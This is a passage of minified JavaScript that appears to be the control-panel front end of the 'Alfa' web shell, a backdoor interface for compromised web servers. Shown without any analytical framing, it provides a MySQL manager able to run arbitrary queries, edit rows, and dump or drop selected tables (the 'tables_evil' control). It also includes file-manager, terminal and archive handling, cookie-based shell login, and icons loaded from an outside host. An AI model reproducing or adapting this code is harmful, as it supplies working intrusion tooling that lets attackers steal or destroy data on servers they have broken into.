function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'> <a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>></option><option value='>='>>=</option><option value='<'><</option><option value='<='><=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if($("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){if("getconfig"==t.classList.value)return!1;if("FORM"==t.tagName){var a=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+a),t.setAttribute("opt_id",e+i)}else{a=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+a)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){if("getconfig"==t.classList.value)return!1;if("FORM"==t.tagName){var a=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+a),t.setAttribute("opt_id",e)}else{a=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+a)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var 